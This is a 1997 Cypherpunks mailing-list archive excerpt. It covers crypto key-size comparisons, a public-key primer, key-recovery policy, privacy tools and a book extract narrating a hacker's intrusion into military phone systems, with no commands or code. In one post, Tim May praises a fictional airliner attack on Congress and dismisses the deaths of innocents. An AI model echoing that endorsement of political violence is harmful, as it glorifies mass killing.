http://www.ii.com/internet/robots/

Go there.  Learn about mail-filtering.  

Do a /Altavista|Hotbot|Yahoo|etc./ web search on "spam solutions."
Find one that suits your taste.

If you don't like it, fix it yourself.  Don't whine to the list about
receiving spam.  If you're on the net, you receive spam.  Some of us,
however, rarely have to see it.

If you want to discuss a crypto-relevant topic with implications for
the spam issue, search for and read up on "digital postage."

Do something to protect your own privacy before you run about
screeching about your "rights" to it.

Welcome to Cypherpunks.

me

-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Wed, 25 Jun 1997 14:39:20 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v03102805afd5d070ad81@[207.167.93.63]>
Message-ID: <33B0B944.816CB6A3@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> I've heard more of my friends saying that Congress just ought to be
> blown up than I ever would have imagined a few years ago.

This is what I've heard referred to as the "_Debt of Honor_ scenario",
referring to the Clancy book of that name.  In it, an airliner was
crashed into a joint session of congress.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zirko <lzirko@aye.net>
Date: Wed, 25 Jun 1997 11:35:08 +0800
To: cypherpunks@cyberpass.net
Subject: Freeware Helps Keep Your Cruising Confidential
Message-ID: <3.0.2.32.19970624232929.0097db80@aye.net>
MIME-Version: 1.0
Content-Type: text/plain



I thought I would pass this along.  Just downloaded it and am looking at
it.  Interesting application for Win 95/NT users.  The download page
starts at http://www.luckman.com/anoncookie/anoncookie.html

Lou Zirko

>Freeware Helps Keep Your Cruising Confidential 
>
>
>
>by Brian McWilliams, PC World NewsRadio 
>
>June 24, 1997
>Concerns about Internet privacy are running hot since the recent privacy
>hearings sponsored by the Federal Trade Commission. New laws as well as
>technology standards may soon come to the assistance of Net users. In the
>meantime, a California company is releasing a freeware tool to help users
>gain some control over their online privacy.
>
>Luckman Interactive today posted a utility for Windows 95 and NT called
>Luckman's Anonymous Cookie for Internet Privacy.
>
>According to chief technology officer Marco Papa, the beta software works
>with browsers from Microsoft and Netscape. It installs in your Win 95
>system tray and enables you to switch in and out of "anonymizer mode,"
>that is, controlling whether or not a Web site can write to and read your
>browser's cookie file. This file is used by some sites to personalize
>their content and in some cases to track your activities online.
>
>"We save all your cookie files and replace them with either an empty
>folder or a file that can't be overwritten," explains Papa. "When you turn
>cookies back on, you actually replace whatever may have changed with your
>original cookie files."
>
>Luckman's Anonymous Cookie program is actually technology that was
>developed for the company's WebSweep utility, which is scheduled for
>commercial release later this summer. But Papa says the firm decided to
>pull the cookie piece out now to give users some much-needed control over
>online privacy.
>
>Dierdre Mulligan of the Center for Democracy and Technology says cookie
>files are at the heart of many privacy problems on the Net. Her group is
>especially critical of companies like DoubleClick, which she says violates
>the spirit of the cookie concept by passing user information on to third
>parties. She welcomes tools like Luckman's, but she notes that add-ons
>don't help protect the millions of less experienced Net users.
>
>"If you really want people to have an easy-to-use way to protect
>information or to control what their kids are going to see on the Net,
>build it into the browser. Everybody has one, and they don't have to go
>buy an extra program or figure out how to install it," Mulligan said.
>
>Brent Luckman, chairman of Luckman Interactive, said that's a great idea,
>but he doesn't see much impetus for browser makers to give up access to
>valuable marketing information.
>
>If you're a privacy guerrilla, you can grab your free copy of the
>Anonymous Cookie program from Luckman's Web site.
>
>
Lou Zirko

Key fingerprint =46 F8 6A 89 F1 4A 74 AB  2F 60 21 E3 FB 21 E4 E4
"Were all bozos on this bus", Nick Danger, Third Eye





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 06:45:35 +0800
To: cypherpunks@cyberpass.net
Subject: Comparing Cryptographic Key Sizes II
Message-ID: <199706242233.XAA00222@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I got quite a few useful comments on the key comparison summary I
posted earlier.  Even some people said they found it useful.  Mark
Grant improved the readability, plus other suggestions.  Peter Trei
urged me to actually re-read the Wiener paper to quote the figures
correctly rather than from memory.  Also Peter raised issues to do
with how to compare hardness to break DES against 512 bit RSA.  There
is now an aside more technical note explaining the issues.  I think I
stand by my original comparison of "roughly equal", because depending
on how you view it, it'll come out 10x cheaper, or 10x harder.
(Memory being one hurdle each participating workstation needing of the
order of 128 Mb; the other hurdle being the existance of a machine
large enough to reduce the matrix which results from all the
relations).

I don't think we can explain it any more technically and expect it to
be useful to a journalist.  We need a gross generalisation: is it
approx as hard, is it 100x harder.  They don't want to hear about
space complexity, the matrix reduction phase (RSA) nor known plaintext
memory trade offs (DES).  If we don't supply the gross generalisation,
they will do it themselves to make it palatable for their readers.
With less understanding of the subject, their generalisation is likely
to be even wildly inaccurate than the generous error bars on ours.
This is not an insult to journalists.  Crypto is a technical,
complicated field.  I wouldn't contemplate making estimates in other
peoples fields.

Further discussion of course still sought (rip it apart pessimists on
crypto estimates).  Here's the new improved version.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


======================================================================

Comparing Cryptographic Key Sizes

There are two types of cryptographic keys; public keys -- sometimes
called asymmetric key -- and symmetric keys. RSA and Diffie-Hellman
are common public key algorithms and RC4, DES and IDEA common
symmetric key algorithms. You cannot directly compare public key
lengths (for example RSA keys) with symmetric key lengths (DES, RC4);
this is an important point which confuses many people.

For example, 40 bit RC4 (a symmetric key cipher) can be broken in a
few hours with a few hundred workstations but 40 bit RSA (a public key
cipher) can be broken in a fraction of a second on one PC. A 350 bit
RSA key is roughly equivalent in strength to 40 bit RC4, and 512 bit
RSA key is thought to cost roughly the same to break as a 56 bit DES
key.

(That last comparison (DES vs 512 bit RSA) glosses over many issues.
Here's a summary if you're interested: no one's broken a 512 RSA bit
key yet, and you need lots of memory to break RSA at that key size, a
PC with 128 Mb would be required to participate.  In contrast, you
need hardly any memory to break DES, any PC will do.  The internet
based breaking of a DES key in answer to RSA DSI's challenge involved
many participants, and included some participants with low end 486 PCs
with 1Mb of memory.  Theoretically 512 bit RSA could be broken more
quickly than DES, but, as you need more memory than typical
workstations have, a distributed internet attack with the same group
of participants as for the DES break would clearly take longer.  There
are a number of other factors also.)

Symmetric keys sizes are easy to understand; for any particular
algorithm, adding one bit to the key length doubles the
difficulty. Estimating the difficulty of breaking a public key (say
RSA) is harder because the increase in strength is not
straightforward, but typically adding ten bits to the size of an RSA
key doubles the strength.  This is why public key systems require
longer keys to provide the same security.

Most systems use a mixture of public and symmetric key ciphers,
because public key ciphers are _slow_ but dramatically simplify key
management.  Symmetric key ciphers are fast, so they are used in
conjunction with public key systems to speed up the combined
system. Such a system using two ciphers -- one public key and one
symmetric key -- is only as strong as the weakest link.

For example, consider the export version of SSL, as shipped in the
export version of Netscape browsers and servers; it uses 512 bit RSA,
and 40 bit RC4.  Cracking 40 bit RC4 is easier than cracking 512 bit
RSA, so export SSL can be broken by breaking the 40 bit RC4 component.
Ian Goldberg recently broke a 40 bit RC5 key himself with Berkeley
univ machines in 3.5 hours.  40 bit RC4 could be broken in a similar
time.

512 bits RSA is not enough either, and you can rest assured that the
NSA, other governments' secret services, and any corporation or
organised crime group with sufficient funds can break it.  512 bits is
likely within reach of a distributed internet effort, or soon will be.

There is a further problem. Each session uses a different, randomly
chosen, RC4 key, so breaking one RC4 key only allows you to read a
single message. However, every message is encrypted with the _same_
512 bit RSA key, so if you can break that key you can immediately read
any message sent to or from the server. As a consequence, the public
key size should be chosen to be much harder to break than the
symmetric key. In this case although the key is thousands of times
harder to break it would be worth attacking if the server is
processing thousands or millions of transactions.

56 bit DES is harder to break than 40 bit RC4 (SSL); you would expect
that the extra sixteen bits would increase the difficulty 65536 times,
but DES is faster than RC4. In software it's about 5 times faster, so
breaking DES in software is about 10000 times harder than breaking 40
bit RC4 (as used in export SSL).

But if the Russian Mafia or a corporation involved in industrial
espionage wanted to break 56 bit DES they would not use software but
would build a special purpose piece of hardware which was designed
only to break DES.  DES was designed to be fast in hardware, and is a
relatively slow cipher in software.

In 1993 Michael Wiener designed such a DES breaking machine.  His
estimated cost for a machine capable of breaking 56 bit DES in a 3.5
hours hours was $1,000,000. The machine was scalable, so that by
spending more or less money you could reduce or increase the time
taken to break the key.  He estimated that building a machine to break
DES in 21 minutes would cost $10,000,000.

That was 10 years ago; 10 years is a long time in the computer
industry.  Today the machine would be much cheaper because chip
technology has progressed and computers are much faster per
$. Estimates are around $20,000 to build a machine to break a DES key
within a day (neglecting hardware engineers consultancy fees).  When
you consider the sorts of uses DES is being used for by banks, ATM
card PINs, wire transfers, interbank exchanges, DES is clearly
out-of-date.

Everyone expects that NSA, GCHQ, SCSSI have built one or more machines
for $20,000+; this is considered obvious because the NSA and SCSSI
allow export of 56 bit DES.  $20,000 is not much money for a secret
service, or for many less scrupulous individuals.

Algorithms using 40 bit keys are insecure against all but trivial
cracking attempts. Systems using DES (such as SET) are only secure
against organisations who can't raise $20,000 and can't find people
who know lots about crypto and hardware design; $20,000 is not much
money for the Rusian Mafia either. Even worse, once you have built
such a machine the cost of cracking each key is only a few hundreds or
thousands of dollars, so any DES key protecting information of greater
value is a tempting target.

US export controls used to restrict exports to 40 bit RC4.  When the
cypherpunks broke several 40 bit RC4 systems the rules were relaxed to
56 bits.  Now that a distributed internet group has broken 56 bit DES,
the US government's claim that 56 bit is "good enough" is being
demonstrated to be patently false.  The US government's other ploy has
been to allow larger key lengths, but to keep a master key to all
communications for themselves.  When full strength encryption systems
with 128 bit symmetric keys are widely available from foreign
competitors, this firstly makes no sense: why can't the US software
industry export when every one has strong crypto anway.  And secondly
the US software industry is losing billions each year in lost sales to
their european competitors. 

128 bit encryption is unbreakable for all practical purposes.  You
will recall in the discussion above that each bit of key size doubles
the work required to break a symmetric cipher.  A 128 bit cipher is
4,722,366,482,869,645,213,696 times harder to break than DES.  That is
a very large number.  Messages encrypted with such keys aren't likely
to be breakable for 30-100 years from now.

Similarly 1024, to 4096 bit public key systems are in use, and
available outside the US.  These systems are of roughly comparable
hardness to break to 128 bit symmetric keys, the larger the key, the
more secure.

One final point: things are getting better for cryptography.  The
attackers job is getting harder.  With each doubling of machine speed
it is possible to use larger keys, and still encrypt and decrypt
instantly when you have the key.  When PGP was first released back in
1991, 1024 bit RSA keys were slow to use on the state of the art PC
then, a lowly '286.  Nowadays an entry level PC, a Pentium 133
whistles through 4096 bit keys.  If we say that a P133 is 50x faster
than a 20Mhz '286 you can see that the same person using encryption
now can use key sizes which before were too slow.  I can assure you
that in moving from a 1024 bit key to a 4096 bit key, the attackers
job is well in excess of 50x harder.  Greatly in excess of a trillion
trillion times harder.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fudman <fudman@nist.gov>
Date: Wed, 25 Jun 1997 15:06:00 +0800
To: cypherpunks@Algebra.COM
Subject: tacdfipsfkmi: What the gov't wants
Message-ID: <33B0C020.4035@nist.gov>
MIME-Version: 1.0
Content-Type: text/plain



What the government wants in a key recovery system.
And, ummm: doesn't Benaloh work for Microsoft?

>From ...
        Minutes of the February 19-20, 1997 Meeting of the 
                   Technical Advisory Committee 
       to Develop a Federal Information Processing Standard 
           for the Federal Key Management Infrastructure



2.      Security Models working group chaired by Dr. Brickell. Dr.
Benaloh was
asked to give their report in Dr. Brickell's absence. Dr. Benaloh said
that
there was a good deal of overlap between the requirements and framework
groups and they are trying to separate the two.  
!!!!!!!!!!!!!!!!!
He stated that from what
the agencies presented, they are looking for a flexible mandatory
standard,
covering both stored and transmitted data, for commercially available
off-the-shelf products.  
!!!!!!!!!!!!!!!!!

A major issue noted was the matter of flexibility.
The standard must be broad enough to allow products to be developed by
anyone.  The scope of this working group was stated by Mr. Chokhani as
identifying things such as key recovery agents, TTPs, two entity
systems,
integrity, authorization of keys, confidentiality of information, and
accountability, especially of key recovery agents.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 15:06:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v03102805afd5d070ad81@[207.167.93.63]>
Message-ID: <v03102800afd670a85218@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:23 PM -0700 6/24/97, Tom Weinstein wrote:
>Tim May wrote:
>>
>> I've heard more of my friends saying that Congress just ought to be
>> blown up than I ever would have imagined a few years ago.
>
>This is what I've heard referred to as the "_Debt of Honor_ scenario",
>referring to the Clancy book of that name.  In it, an airliner was
>crashed into a joint session of congress.

I dubbed it the "Sato Solution." (As I recall...it's been a while since I
read it...I think Sato was the pilot of the 747. If not this name,
something similar.)

The destruction of the entire Congress, plus a thousand other despots and
sycophants, was inspiring. No doubt the bleeding hearts would moan about
the severed limbs of innocent children and all that. One wonders where they
were when 300,000 civilians were incincerated in Dresden.

Ironic that Tom Clancy is not treated as a "terrorist" for his scenarios.
He supports the mil-ind complex, so he must not be a terrorist. (The same
logic that had George Bush decrying violence and lack of family values in
the film industry...with Arnold Schwarzenegger on the platform with him.)

We need to get beyond the sentimentality of concentrating on the
"innocents" and instead coldly analyze what needs to be done, and then do
it.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 07:15:21 +0800
To: jrennie@hardy.ocs.mq.edu.au
Subject: intro to public key crypto (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: <Pine.SOL.3.91.970625072559.18831A-100000@hardy.ocs.mq.edu.au>
Message-ID: <199706242308.AAA00465@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
> On Tue, 24 Jun 1997, Adam Back wrote:
> 
> > (Bearing in mind the reader in most cases hasn't grasped the
> > difference between public key crypto and symmetric key, and is
> > comparing 1024 bit keys to 56 bit keys and probably thinks that it is
> > 1024/56 times harder.)
> 
> Well i guess i'll look stupid for asking but someone has to but what is 
> the diffrence ?? I dont know either, i'm on this list to learn things 
> like this. I'm still very new to all of this. I was aware that they 
> weren't 1024/56 times harder though.

They have very different properties.  Public key systems have really
nifty key management properties.

With symmetric key crypto (as ever) things are simple and intuitive.
You have some data, you have a key, and you can scramble the data with
the key, you get out gibberish.  Some jargon, the three parts are
called: your data = plaintext, scrambled gibberish you get out is
called ciphertext, and the key is the cryptographic key which enables
to be decrypted (de-scrambled, turned back into plaintext, that you
can read again).  To unscramble the data you'll need the key again.
If you send the message to someone, that someone also has to know the
key.

Big problem: how do you get the key to them?

Phone them up?  (Painful).  If you can contact them securely why
bother with crypto in the first place.  Just tell them what it is you
want to tell them over the phone.  (Not that phones are secure, of
course).

Then Whitfield Diffie and Martin Hellman invented the first practical
public key crypto system (1976).  With public key systems you have two
keys.  One is called the public key, you give this to everyone.  The
other is the private (or secret) key which you tell no-one.

Anything encrypted with the public key can be decrypted with the
secret key.  As you can tell anyone the public key you can list it in
a directory service much like you list your phone number in the phone
book.  PGP keyservers are examples of such electronic directories of
public keys.

Now anyone who wants to send you a message just gets your public key
(from you, or from a keyserver), encrypts it to you, and sends you the
encrypted message.  So now a perfect stranger half way around the
world can encrypt a message to you, safe in the knowledge that no-one
but you can read it, not even the NSA.

Everything is beautiful and rosy.  (Well everyone except the NSA, who
thinks everything has gone all dark and horrid, 'cause they used to
have fun reading all our comms, but it's too late anyway, because we
all know how to do it now.  And folks like Tim May enthuse about the
possibilites of crypto anarchy, where we can be free from our
respective governmental leeches, by avoiding 50% tax rates, as
information workers working for cypherspace corporations situated in
off-shore tax-havens, or even situated no-where except cypherspace.
Cypherpunks dream.  NSA nightmare, government leech nightmare, spook
and leech job losses, plumetting tax revenues, lay-offs, radical loss
of government power and significance etc, etc.  You ought to read Tim
May's cyphernomicon at this point.)

Returning to technical matters, there is a minor fly in the
ointment... the man in the middle attack... so now we need
authentication.  We need digital signatures.  And things just got a
bit more complex in the key management area.

(We'll save those for lesson 2.  Someone else?)

Should this go in the comparing keys document?  Or is it going to
suffer bloat turning into another introduction to crypto?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 07:17:45 +0800
To: ericm@lne.com
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <199706242102.OAA31118@slack.lne.com>
Message-ID: <199706242313.AAA00549@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Eric Murray <ericm@lne.com> writes:
> Tim May writes:
> > 
> > The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
> > card in the coming Grand Compromise.
> 
> As Declan notes, Congress is driven to compromise.  The
> government side can propose ever more draconian laws in order to
> engineer the 'compromise' to whatever it wants.  On the other side, we
> are stuck, because we have been asking for things that we really want, not
> bargaining chips.  Even if we were to ask for bargaining chips that
> are more than we really want, how much further than completely free
> crypto can you go?    

Oh I dunno.  We could get Tim to give a congressional statement,
highlighting the interesting consequences of a fully developed crypto
anarchic society.  That'd put the fear into them.  ('Course the
problem is we'd never get him to go within 100 miles of the place, and
he'd probably consider it a waste of time talking to them anyway.)

But there's scope I think.

But would it help?  Don't know.  It gets close to some aspects of the
NSA scare stories, money launderers, tax evasion, etc. etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 25 Jun 1997 12:43:45 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706242233.XAA00222@server.test.net>
Message-ID: <v03007829afd64d414288@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 23:33 +0100 6/24/97, Adam Back wrote:
>I don't think we can explain it any more technically and expect it to
>be useful to a journalist.

Um, some of us journalists have *gasp* taken computer science classes,
programmed in machine code, crafted compression routines, written our own
Unix shells, etc.

Now, I don't want to start a "who's the geekiest geek" contest, since y'all
will win hands-down -- but I want to point out that while we may not be
crypto-whizzes, not all of us are entirely clueless either.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@iq.org
Date: Wed, 25 Jun 1997 10:27:56 +0800
To: cypherpunks@toad.com
Subject: Underground extract: System X
Message-ID: <19970625004604.1793.qmail@iq.org>
MIME-Version: 1.0
Content-Type: text/plain



Anyone read this book? Apparently the first in-depth investigation
into the international computer underground to come out of the
Southern-Hemisphere - or so I'm told ;)  - J.A

Extracts from Underground - The true nature of System X

  Extracted from Chapter 10 - "Anthrax - The Outsider"
  
   Note: System X's name has been changed for legal reasons.
   
   Sometimes the time just slipped away, hacking all night. When the first hint
   of dawn snuck up on him, he was invariably in the middle of some exciting
   journey. But duty was duty, and it had to be done. So Anthrax pressed control
   S to freeze his screen, unfurled the prayer mat with its built-in compass,
   faced Mecca, knelt down and did two sets of prayers before sunrise. Ten
   minutes later he rolled the prayer mat up, slid back into his chair, typed
   control Q to release the pause on his computer and picked up where he left
   off.
   
   This company's computer system seemed to confirm what he had begun to
   suspect. System X was the first stage of a project, the rest of which was
   under development. He found a number of tables and reports in System X's
   files. The reports carried headers like 'Traffic Analysis', 'calls in' and
   'calls out', 'failure rate'. It all began to make sense to Anthrax.
   
   System X called up each of the military telephone exchanges in that list. It
   logged in using the computer-generated name and password. Once inside, a
   program in System X polled the exchange for important statistics, such as the
   number of calls coming in and out of the base. This information was then
   stored on System X. Whenever someone wanted a report on something, for
   example, the military sites with the most incoming calls over the past 24
   hours, he or she would simply ask System X to compile the information. All of
   this was done automatically.
   
   Anthrax had read some email suggesting that changes to an exchange, such as
   adding new telephone lines on the base, had been handled manually, but this
   job was soon to be done automatically by System X. It made sense. The
   maintenance time spent by humans would be cut dramatically.
   
   A machine which gathers statistics and services phone exchanges remotely
   doesn't sound very sexy on the face of it, until you begin to consider what
   you could do with something like that. You could sell it to a foreign power
   interested in the level of activity at a certain base at a particular time.
   And that is just the beginning.
   
   You could tap any unencrypted line going in or out of any of the 100 or so
   exchanges and listen in to sensitive military discussions. Just a few
   commands makes you a fly on the wall of a general's conversation to the head
   of a base in the Philippines. Anti-government rebels in that country might
   pay a pretty penny for getting intelligence on the US forces.
   
   All of those options paled next to the most striking power wielded by a
   hacker who had unlimited access to System X and the 100 or so telephone
   exchanges. He could take down that US military voice communications system
   almost overnight, and he could do it automatically. The potential for havoc
   creation was breathtaking. It would be a small matter for a skilled
   programmer to alter the automated program used by System X. Instead of using
   its dozen or more modems to dial all the exchanges overnight and poll them
   for statistics, System X could be instructed to call them overnight and
   reprogram the exchanges.
   
   				      ---

   No-one would be able to reach one another. An important part of the US
   military machine would be in utter disarray. Now, what if all this happened
   in the first few days of a war? People trying to contact each other with
   vital information wouldn't be able to use the telephone exchanges
   reprogrammed by System X.
   
   THAT was power.
   
   It wasn't like Anthrax screaming at his father until his voice turned to a
   whisper, all for nothing. He could make people sit up and take notice with
   this sort of power.
   
   Hacking a system gave him a sense of control. Getting root on a system always
   gave him an adrenalin rush for just that reason. It meant the system was his,
   he could do whatever he wanted, he could run whatever processes or programs
   he desired, he could remove other users he didn't want using his system. He
   thought, I own the system. The word 'own' anchored the phrase which circled
   through his thoughts again and again when he successfully hacked a system.
   
   The sense of ownership was almost passionate, rippled with streaks of
   obsession and jealousy. At any given moment, Anthrax had a list of systems he
   owned and that had captured his interest for that moment. Anthrax hated
   seeing a system administrator logging onto one of those systems. It was an
   invasion. It was as though Anthrax had just got this woman he had been after
   for some time alone in a room with the door closed. Then, just as he was
   getting to know her, this other guy had barged in, sat down on the couch and
   started talking to her.
   
   It was never enough to look at a system from a distance and know he could
   hack it if he wanted to. Anthrax had to actually hack the system. He had to
   own it. He needed to see what was inside the system, to know exactly what it
   was he owned.
   
   The worst thing admins could do was to fiddle with system security. That made
   Anthrax burn with anger. If Anthrax was on-line, silently observing the
   adminsÕ activities, he would feel a sudden urge to log them off. He wanted to
   punish them. Wanted them to know he was into their system. And yet, at the
   same time, he didnÕt want them to know. Logging them off would draw attention
   to himself, but the two desires pulled at him from opposite directions. What
   Anthrax really wanted was for the admins to know he controlled their system,
   but for them not to be able to do anything about it. He wanted them to be
   helpless.
   
   Anthrax decided to keep undercover. But he contemplated the power of having
   System X's list of telephone exchange dial-ups and their username - password
   combinations. Normally, it would take days for a single hacker with his lone
   modem to have much impact on the US military's communications network. Sure,
   he could take down a few exchanges before the military wised up and started
   protecting themselves. It was like hacking a military computer. You could
   take out a machine here, a system there. But the essence of the power of
   System X was being able to use its own resources to orchestrate widespread
   pandemonium quickly and quietly.
   
   Anthrax defines power as the potential for real world impact. At that moment
   of discovery and realisation, the real world impact of hacking System X
   looked good. The telecommunications company computer seemed like a good place
   to hang up a sniffer, so he plugged one into the machine and decided to
   return in a little while. Then he logged out and went to bed.
   
   When he revisited the sniffer a day or so later, Anthrax received a rude
   shock. Scrolling through the sniffer file, he did a double take on one of the
   entries. Someone had logged into the company's system using his special login
   patch password.
   
   He tried to stay calm. He thought hard. When was the last time he had logged
   into the system using that special password? Could his sniffer have logged
   himself on an earlier hacking session? It did happen occasionally. Hackers
   sometimes gave themselves quite a fright. In the seamless days and nights of
   hacking dozens of systems, it was easy to forget the last time you logged
   into a particular system using the special password. The more he thought, the
   more he was absolutely sure. He hadn't logged into the system again.
   
   Which left the obvious question. Who had?
     ________________________________________________________________________
     [This extract may be reposted non-commercially and without charge only]

   Underground; Tales of Hacking, Madness and Obsession on the Electronic
   Frontier, by Suelette Dreyfus; published by Mandarin (Random House
   Australia); (P) 475 pages with bib. http://www.underground-book.com/ or
   http://underground.org/book





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:06:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Grand Compromise is Coming
Message-ID: <199706250601.CAA01869@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



>By the way, I have no heard no good counters to my point that the "use of
>crypto in furtherance of a crime" is quite analogous to "freedom of
>religion shall not be abridged, but saying a heathen prayer in furtherance
>of a crime shall subject the heathen to an additional five years of
>imprisonment."

Two differences:

Saying a prayer, heathen or not, does not make the commision of the crime
easier.  Using a gun, or using crypto, does.

Saying a prayer can be done in complete privacy and silence, making it
impossible to tell whether someone is doing it.  Using crypto generally
involves some outward evidence.  It is not all in your head.

If some form of prayer were invented which did not have these properties,
then it might be forbidden.  The Marinsha prayer, shouted with the
appropriate intensity, paralyzes the hearer for several minutes.  Robberies
have become common using this method.  Making the Marinsha prayer
illegal in all circumstances is too broad, but criminalizing it for use in the
commision of a crime would be a plausible response.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:16:28 +0800
To: cypherpunks@toad.com
Subject: It ain't over till the fatman burns...
Message-ID: <199706250602.CAA02284@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> > I still am concerned about kids being subject to material that is
> > inappropriate for their age group (what ever that may be).  So how do I
> > insure that my son/daugher does not get their hands on _THIS_ material?
> 
> Supervision, plain and simple. However, if you honestly believe your
> children are going to be harmed in some lasting way by any images they
> might find there is clearly something wrong with the way you have brought
> them up

  Good, strong beatings will also help to deter them from doing
things that they find interesting or pleasurable. This will help
to reinforce the concept that things which feel good lead to
pain and punishment.
  Pictures of people burning in hell can be put in prominent places
in the home, with constant verbal reminders that God will punish
bad people who have different values than you.

  It is particularly important to impress on your daughter that
she must keep her head covered at all times and never look a
strange man in the eye or allow her ankles to show. Remind her
that, as much as you love her, you will still be forced to
join in stoning her to death if she choses to stray outside
acceptable social standards.
  Impress upon your son that if he wants to have sex with 
teenage girls under the age of 18 he must move to a foreign 
country where he can receive millions of dollars in foreign
aide while he does so. Explain that if he has sex with his
teenage girlfriend in this country that he is an evil person
and will be convicted as a sex offender (which will delay
their wedding plans) and be marked for life as a child 
molester.

  Most important of all, carefully explain to your children
that if their gaze ever happens to fall upon material which
you find unacceptable that they will end up being murdering,
drug-dealing pornographers because they are immoral dupes
with no character or self-will.
  Use Paul and myself as examples of where libertarian thinking
leads, in the end. After all, he is writing from DEMON.co.uk and
I am writing from LUCIFER@dhp.com.

  If you are concerned about what your children may encounter
on the internet that will expose their lack of character and
morals, there is a program available that is even better than
Cybersitter. It was sent to the list by fuck@yourself.up a few
months ago.
  Check the archives for it or ask the cypherpunks list's
on-call librarian, Tim C. May, how to find it.

FlameMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:52:10 +0800
To: cypherpunks@toad.com
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <199706250637.CAA15190@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> We've got a relatively decent style of government here. 

  Sure, as long as you don't step out of line, like at Kent State
or Waco, or at the Democratic convention in Chicago.
  Any style of government is "relatively decent" if you don't
rock the boat. Buy a fucking clue...

  Putting a "Fuck Clinton" sign in your front yard in America
probably won't bring significantly different results than if
one had put a "Stalin Sucks" sign up during his reign. I also
doubt if our body count is significantly different than that
of Stalin, either.

  If we all just keep our mouths shut as our rights and freedoms
are stripped from us one by one, then we will have a "relatively
decent" journey into oppression.

ClueMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Wed, 25 Jun 1997 20:02:33 +0800
To: nicol@highway1.com.au
Subject: Re: Flag Burning...
Message-ID: <199706251146.EAA14923@f48.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>>You Crazy Americans . . . I dont think anyone else in the world 
